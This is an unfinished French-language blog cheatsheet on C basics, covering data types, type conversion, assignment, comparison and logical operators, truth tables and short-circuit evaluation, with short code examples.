        <content type="html"><![CDATA[<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Information</div><div class="admonitionContent_BuS1"><p>Article toujours en cours de rédaction</p></div></div>
<p>J'ai eu envie de me remettre au C après que j'ai eu l'envie de monter plusieurs projets assez important (on verra ça plus tard). Donc je me suis dis que j'allais mettre à disposition sous forme de fiche de triche les éléments que je suis en train de voir sur le langage C.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Information</div><div class="admonitionContent_BuS1"><p>J'ai récupéré la plupart des informations sur le site de <a href="https://coddy.tech/" target="_blank" rel="noopener noreferrer" class="">coddy</a>. Un site pour apprendre à coder pas à pas avec plein de challenge.<br>
<!-- -->N'hésitez pas à y faire un tour, ça peut toujours aider</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-variables">Les variables<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#les-variables" class="hash-link" aria-label="Lien direct vers Les variables" title="Lien direct vers Les variables" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-types-de-donnée">Les types de donnée<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#les-types-de-donn%C3%A9e" class="hash-link" aria-label="Lien direct vers Les types de donnée" title="Lien direct vers Les types de donnée" translate="no">​</a></h3>
<p>En C, chaque donnée de votre programme a un type spécifique. Les types de données définissent le type de données qu'une variable peut contenir et la quantité de mémoire dont elle a besoin.</p>
<table><thead><tr><th>Type de donnée</th><th>Signification</th><th>Taille (en octet)</th><th>plage de valeur</th></tr></thead><tbody><tr><td><code>char</code></td><td>caractère</td><td>1</td><td>-128 à 127</td></tr><tr><td><code>unsigned char</code></td><td>caractère non signé</td><td>1</td><td>0 à 255</td></tr><tr><td><code>short int</code></td><td>Entier court</td><td>2</td><td>-32768 à 32 767</td></tr><tr><td><code>unsigned short int</code></td><td>Entier court non signé</td><td>2</td><td>0 à 65 535</td></tr><tr><td><code>int</code></td><td>Entier</td><td>2 (sur CPU 16 bit) <br>4 (sur CPU 32 bit)</td><td>-32 768 à 32 767<br>-2 147 483 648 à 2 147 483 647</td></tr><tr><td><code>unsigned int</code></td><td>Entier non signé</td><td>2 (sur CPU 16 bit) <br>4 (sur CPU 32 bit)</td><td>0 à 65 535<br>0 à 4 294 967 295</td></tr><tr><td><code>long int</code></td><td>Entier long</td><td>4</td><td>-2 147 483 648 à 2 147 483 647</td></tr><tr><td><code>unsigned long int</code></td><td>Entier long non signé</td><td>4</td><td>0 à 4 294 967 295</td></tr><tr><td><code>float</code></td><td>flottant (réel)</td><td>4</td><td>3.4*10⁻³⁸ à 3.4*10³⁸</td></tr><tr><td><code>double</code></td><td>flottant double</td><td>8</td><td>1.7*10⁻³⁰⁸ à 1.7`*10³⁰⁸</td></tr><tr><td><code>long double</code></td><td>flottant double long</td><td>10</td><td>3.4*10⁻⁴⁹³² à 3.4*10⁴⁹³²</td></tr><tr><td><code>_Bool</code></td><td>booléen</td><td></td><td></td></tr><tr><td><code>T*</code></td><td>pointeur</td><td></td><td></td></tr><tr><td><code>T[]</code></td><td>tableau</td><td></td><td></td></tr><tr><td><code>void</code></td><td>vide</td><td></td><td></td></tr></tbody></table>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">les types de données en C</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> number </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">42</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">        </span><span class="token comment" style="color:#999988;font-style:italic">// un nombre entier</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">float</span><span class="token plain"> price </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.5f</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// un nombre à virgule flottante</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">double</span><span class="token plain"> pi </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3.14159</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Double précision en virgule flottante</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> grade </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token char">'A'</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">       </span><span class="token comment" style="color:#999988;font-style:italic">// un seul caractère</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Etc.</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="conversion-de-type">Conversion de type<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#conversion-de-type" class="hash-link" aria-label="Lien direct vers Conversion de type" title="Lien direct vers Conversion de type" translate="no">​</a></h3>
<p>La conversion de type en C nous permet de convertir une variable d'un type à un autre. C'est utile lorsque l'on doit effectuer des opérations entre différents types de donnée.</p>
<p>Il existe deux types principaux de conversion :</p>
<ul>
<li class="">conversion implicite (automatique)</li>
<li class="">conversion explicite (manuelle)</li>
</ul>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de conversion implicite</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> num </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">double</span><span class="token plain"> decimal_num</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Conversion d'entier vers double</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">decimal_num </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> num</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>rappel</div><div class="admonitionContent_BuS1"><p>Cette conversion fonctionne car un <code>double</code> peut stocker toutes les valeurs possible d'un <code>int</code> sans perdre aucune donnée.<br>
<!-- -->Chemins de conversion implicite :</p><ul>
<li class=""><code>char</code> → <code>int</code> → <code>long</code> → <code>float</code> → <code>double</code></li>
</ul></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de conversion explicite</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">float</span><span class="token plain"> price </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">45.95</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> rounded_price </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> price</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Le prix deviendra alors 45</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> letter </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token char">'A'</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> ascii_value </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> letter</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// ascii_value sera égal à 65</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-opérateurs">Les opérateurs<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#les-op%C3%A9rateurs" class="hash-link" aria-label="Lien direct vers Les opérateurs" title="Lien direct vers Les opérateurs" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="opérateurs-daffectation">Opérateurs d'affectation<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#op%C3%A9rateurs-daffectation" class="hash-link" aria-label="Lien direct vers Opérateurs d'affectation" title="Lien direct vers Opérateurs d'affectation" translate="no">​</a></h3>
<p>Les opérateurs d'affectation en C sont utilisés pour attribuer des valeurs aux variables. L'opérateur d'affectation le plus élémentaire est le signe égal <code>=</code>. Toutefois, le langage C propose également des opérateurs d'affectation composés qui combinent des opérations arithmétiques avec l'affectation.</p>
<p>Les opérateurs les plus courants :</p>
<ul>
<li class=""><code>=</code> : affectation simple</li>
<li class=""><code>+=</code> : Ajoute puis affecte</li>
<li class=""><code>-=</code> : Soustrait et affecte</li>
<li class=""><code>*=</code> : multiplie et affecte</li>
<li class=""><code>/=</code> : divise et affecte</li>
<li class=""><code>%=</code> : effectue un modulo et affecte</li>
</ul>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple d'affectation</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> a </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">a </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// a contient maintenant 8</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="opérateurs-relationnels">Opérateurs relationnels<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#op%C3%A9rateurs-relationnels" class="hash-link" aria-label="Lien direct vers Opérateurs relationnels" title="Lien direct vers Opérateurs relationnels" translate="no">​</a></h3>
<p>Ces opérateurs sont utilisés pour comparer deux opérandes.</p>
<p>Il est parfois nécessaires de vérifier si un opérande est plus grand / plus petit qu'un autre opérande. Le tableau suivant présente les opérateurs de comparaison possibles :</p>
<table><thead><tr><th>Opérateur</th><th>signification</th><th>Exemple</th></tr></thead><tbody><tr><td><code>==</code></td><td>égal</td><td><code>1 == 2</code> retourne 0 (false)</td></tr><tr><td><code>!=</code></td><td>Pas égal</td><td><code>1 != 2</code> retourne 1 (true)</td></tr><tr><td><code>&gt;</code></td><td>Plus grand que</td><td><code>1 &gt; 2</code> retourne 0 (false)</td></tr><tr><td><code>&lt;</code></td><td>Plus petit que</td><td><code>1 &lt; 2</code> retourne 1 (true)</td></tr><tr><td><code>&gt;=</code></td><td>Plus grand ou égal</td><td><code>1 &gt;= 2</code> retourne 0 (false)</td></tr><tr><td><code>&lt;=</code></td><td>Plus petit ou égal</td><td><code>1 &lt;= 2</code> retourne 1 (true)</td></tr></tbody></table>
<p>Les opérateurs de comparaisons retournent 1 si la comparaison est vraie et 0 si c'est faux. Par exemple :</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple d'opérateurs de comparaison</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> var1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">13</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> var2 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">12</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> var3 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> var1 </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> var2</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="opérateurs-logique">Opérateurs logique<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#op%C3%A9rateurs-logique" class="hash-link" aria-label="Lien direct vers Opérateurs logique" title="Lien direct vers Opérateurs logique" translate="no">​</a></h3>
<p>Les opérateurs logique sont utilisés pour vérifier les combinaisons de comparaisons qui renvoient <code>1</code> (true) ou <code>0</code> (false)</p>
<p>Par exemple, l'instruction suivante contient deux comparaisons :<br>
<em>5 est plus grand que 3 <strong>et</strong> plus petit que 6 ?</em></p>
<table><thead><tr><th>Opérateur</th><th>Signification</th><th>Exemple</th></tr></thead><tbody><tr><td><code>&amp;&amp;</code></td><td>ET - <code>1</code> si <strong>tous</strong> les opérandes sont <code>1</code></td><td><code>a &amp;&amp; b</code></td></tr><tr><td><code>||</code></td><td>OU - <code>1</code> si <strong>l'un</strong> des opérande est <code>1</code></td><td><code>a || b</code></td></tr><tr><td><code>!</code></td><td>NON - <code>1</code> si l'opérande est <code>0</code></td><td><code>!a</code></td></tr></tbody></table>
<p><strong>Exemples :</strong></p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">5 est plus grand que 3 et 1 est égal à 1</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> b1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Contient 1 (true)</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">5 n'est pas égal à 4 ou 5 égal à 2</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> b2 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Contient 1 (true)</span><br></div></code></pre></div></div>
<p>Les opérateurs logiques ont des tables spéciales que l'on nomme "Table de vérité" qui indiquent ce que la combinaison des opérateurs logiques produit.</p>
<p>Table de vérité pour l'opérateur <strong>ET</strong> :</p>
<table><thead><tr><th>a</th><th>b</th><th>a <code>&amp;&amp;</code> b</th></tr></thead><tbody><tr><td>0</td><td>0</td><td>0</td></tr><tr><td>0</td><td>1</td><td>0</td></tr><tr><td>1</td><td>0</td><td>0</td></tr><tr><td>1</td><td>1</td><td>1</td></tr></tbody></table>
<p>La seule manière d'obtenir <code>1</code> pour l'opérateur <strong>ET</strong> est si à la fois <code>a</code> et <code>b</code> sont <code>1</code>.</p>
<p>Table de vérité pour l'opérateur <strong>OU</strong></p>
<table><thead><tr><th>a</th><th>b</th><th>a <code>||</code> b</th></tr></thead><tbody><tr><td>0</td><td>0</td><td>0</td></tr><tr><td>1</td><td>0</td><td>1</td></tr><tr><td>1</td><td>1</td><td>1</td></tr></tbody></table>
<p>Dans ce cas, pour avoir <code>1</code>, il faut que soit <code>a</code> ou <code>b</code> soit <code>1</code>.</p>
<p>Table de vérité pour l'opérateur <strong>NOT</strong> :</p>
<table><thead><tr><th>a</th><th>!a</th></tr></thead><tbody><tr><td>0</td><td>1</td></tr><tr><td>1</td><td>0</td></tr></tbody></table>
<p>Ici la valeur de <code>a</code> est inversée.</p>
<p>Lors de la vérification de plusieurs conditions, le programme s'arrête dès qu'il connaît la réponse finale. C'est ce que l'on appelle l'évaluation en court-circuit.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> y </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> result </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">x </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">y </span><span class="token operator" style="color:#393A34">/</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Ici <code>x</code> égal <code>0</code>, donc l'évaluation de la condition <code>y / x &gt; 2</code> n'aura pas leu. Et si on inversait l'ordre :</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> result </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">y </span><span class="token operator" style="color:#393A34">/</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">x </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Dans ce cas, on va avoir une erreur car <code>y</code> sera divisé par 0, ce qui est impossible. Il est donc une bonne pratique de réfléchir aux opérations logiques pour avoir la manière la plus logique et effective sans avoir d'erreur.</p>
<p>On peut utiliser cette technique pour optimiser l'évaluation des opérations logique.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> a </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> b </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> c </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> d </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> result </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">a </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> b </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">c </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">-</span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> d </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Ici <code>b &lt; 2</code> et <code>d &lt; 10</code> ne vont pas être évaluées car <code>a &gt; 0</code> et <code>c &lt; -5</code> sont toutes les deux false.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="flux-de-contrôle">Flux de contrôle<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#flux-de-contr%C3%B4le" class="hash-link" aria-label="Lien direct vers Flux de contrôle" title="Lien direct vers Flux de contrôle" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="déclaration-if">Déclaration <code>if</code><a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#d%C3%A9claration-if" class="hash-link" aria-label="Lien direct vers déclaration-if" title="Lien direct vers déclaration-if" translate="no">​</a></h3>
<p>la déclaration <code>if</code> est une structure fondamentale du flux de contrôle en C qui permet à votre programme de prendre des décisions.</p>
<p>Une instruction <code>if</code> exécute un bloc de code uniquement si une condition spécifiée est vraie.</p>
